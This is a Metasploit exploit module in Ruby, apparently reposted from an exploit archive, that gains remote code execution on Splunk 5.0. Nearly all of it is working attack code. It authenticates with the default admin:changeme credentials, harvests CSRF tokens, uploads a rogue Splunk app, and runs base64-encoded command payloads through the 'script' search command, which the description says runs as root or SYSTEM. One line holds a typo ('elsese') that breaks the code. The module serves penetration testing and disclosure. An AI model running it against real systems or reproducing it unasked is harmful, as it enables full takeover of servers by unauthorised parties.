Splunk 5.0 – Custom App Remote Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Splunk 5.0 Custom App Remote Code Execution', 'Description' => %q{ This module exploits a feature of Splunk whereby a custom application can be uploaded through the web based interface. Through the 'script' search command a user can call commands defined in their custom application which includes arbitrary perl or python code. To abuse this behavior, a valid Splunk user with the admin role is required. By default, this module uses the credential of "admin:changeme", the default Administrator credential for Splunk. Note that the Splunk web interface runs as SYSTEM on Windows, or as root on Linux by default. This module has only been tested successfully against Splunk 5.0. }, 'Author' => [ "@marcwickenden", # discovery and metasploit module "sinn3r", # metasploit module "juan vazquez", # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ], [ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ], [ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ] ], 'Payload' => { 'Space' => 1024, 'DisableNops' => true }, 'Targets' => [ [ 'Splunk 5.0.1 / Linux', { 'Arch' => ARCH_CMD, 'Platform' => [ 'linux', 'unix' ] } ], [ 'Splunk 5.0.1 / Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' } ] ], 'DisclosureDate' => 'Sep 27 2012')) register_options( [ Opt::RPORT(8000), OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]), OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]), OptPath.new('SPLUNK_APP_FILE', [ true, 'The "rogue" Splunk application tgz', File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz') ]) ], self.class) register_advanced_options( [ OptBool.new('ReturnOutput', [ true, 'Display command output', false ]), OptBool.new('DisableUpload', [ true, 'Disable the app upload if you have already performed it once', false ]), OptBool.new('EnableOverwrite', [true, 'Overwrites an app of the same name. Needed if you change the app code in the tgz', false]), OptInt.new('CommandOutputDelay', [true, 'Seconds to wait before requesting command output from Splunk', 5]) ], self.class) end def exploit # process standard options @username = datastore['USERNAME'] @password = datastore['PASSWORD'] file_name = datastore['SPLUNK_APP_FILE'] # process advanced options return_output = datastore['ReturnOutput'] disable_upload = datastore['DisableUpload'] @enable_overwrite = datastore['EnableOverwrite'] command_output_delay = datastore['CommandOutputDelay'] # set up some variables for later use @auth_cookies = '' @csrf_form_key = '' app_name = 'upload_app_exec' p = payload.encoded print_status("Using command: #{p}") cmd = Rex::Text.encode_base64(p) # log in to Splunk (if required) do_login # fetch the csrf token for use in the upload next do_get_csrf('/en-US/manager/launcher/apps/local') unless disable_upload # upload the arbitrary command execution Splunk app tgz do_upload_app(app_name, file_name) end # get the next csrf token from our new app do_get_csrf("/en-US/app/#{app_name}/flashtimeline") # call our command execution function with the Splunk 'script' command print_status("Invoking script command") res = send_request_cgi( { 'uri' => '/en-US/api/search/jobs', 'method' => 'POST', 'cookie' => @auth_cookies, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'X-Splunk-Form-Key' => @csrf_form_key }, 'vars_post' => { 'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf 'status_buckets' => "300", 'namespace' => "#{app_name}", 'ui_dispatch_app' => "#{app_name}", 'ui_dispatch_view' => "flashtimeline", 'auto_cancel' => "100", 'wait' => "0", 'required_field_list' => "*", 'adhoc_search_level' => "smart", 'earliest_time' => "0", 'latest_time' => "", 'timeFormat' => "%s.%Q" } }) if return_output res.body.match(/data":\ "([0-9.]+)"/) job_id = $1 # wait a short time to let the output be produced print_status("Waiting for #{command_output_delay} seconds to retrieve command output") select(nil,nil,nil,command_output_delay) job_output = fetch_job_output(job_id) if job_output.body.match(/Waiting for data.../) print_status("No output returned in time") elsese output = "" job_output.body.each_line do |line| # strip off the leading and trailing " added by Splunk line.gsub!(/^"/,"") line.gsub!(/"$/,"") output << line end # return the output print_status("Command returned:") print_line output end else handler end end def check # all versions are actually "vulnerable" but check implemented for future proofing # and good practice res = send_request_cgi( { 'uri' => '/en-US/account/login', 'method' => 'GET' }, 25) if res and res.body =~ /Splunk Inc\. Splunk/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def do_login print_status("Authenticating...") # this method borrowed with thanks from splunk_mappy_exec.rb res = send_request_cgi( { 'uri' => '/en-US/account/login', 'method' => 'GET' }) cval = '' uid = '' session_id_port = session_id = '' if res and res.code == 200 res.headers['Set-Cookie'].split(';').each {|c| c.split(',').each {|v| if v.split('=')[0] =~ /cval/ cval = v.split('=')[1] elsif v.split('=')[0] =~ /uid/ uid = v.split('=')[1] elsif v.split('=')[0] =~ /session_id/ session_id_port = v.split('=')[0] session_id = v.split('=')[1] end } } else fail_with(Exploit::Failure::NotFound, "Unable to get session cookies") end res = send_request_cgi( { 'uri' => '/en-US/account/login', 'method' => 'POST', 'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}", 'vars_post' => { 'cval' => cval, 'username' => @username, 'password' => @password } }) if not res or res.code != 303 fail_with(Exploit::Failure::NoAccess, "Unable to authenticate") else session_id_port = '' session_id = '' res.headers['Set-Cookie'].split(';').each {|c| c.split(',').each {|v| if v.split('=')[0] =~ /session_id/ session_id_port = v.split('=')[0] session_id = v.split('=')[1] end } } @auth_cookies = "#{session_id_port}=#{session_id}" end end def do_upload_app(app_name, file_name) archive_file_name = ::File.basename(file_name) print_status("Uploading file #{archive_file_name}") file_data = ::File.open(file_name, "rb") { |f| f.read } boundary = '--------------' + rand_text_alphanumeric(6) data = "--#{boundary}\r\n" data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n" data << "#{@csrf_form_key}" data << "\r\n--#{boundary}\r\n" if @enable_overwrite data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n" data << "1" data << "\r\n--#{boundary}\r\n" end data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n" data << "Content-Type: application/x-compressed\r\n\r\n" data << file_data data << "\r\n--#{boundary}--\r\n" res = send_request_cgi({ 'uri' => '/en-US/manager/appinstall/_upload', 'method' => 'POST', 'cookie' => @auth_cookies, 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data }, 30) if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/))) print_status("#{app_name} successfully uploaded") else fail_with(Exploit::Failure::Unknown, "Error uploading") end end def do_get_csrf(uri) print_status("Fetching csrf token from #{uri}") res = send_request_cgi( { 'uri' => uri, 'method' => 'GET', 'cookie' => @auth_cookies }) res.body.match(/FORM_KEY":\ "(\d+)"/) @csrf_form_key = $1 fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key end def fetch_job_output(job_id) # fetch the output of our job id as csv for easy parsing print_status("Fetching job_output for id #{job_id}") res = send_request_raw( { 'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000", 'method' => 'GET', 'cookie' => @auth_cookies, 'encode_param' => 'false' }) end end |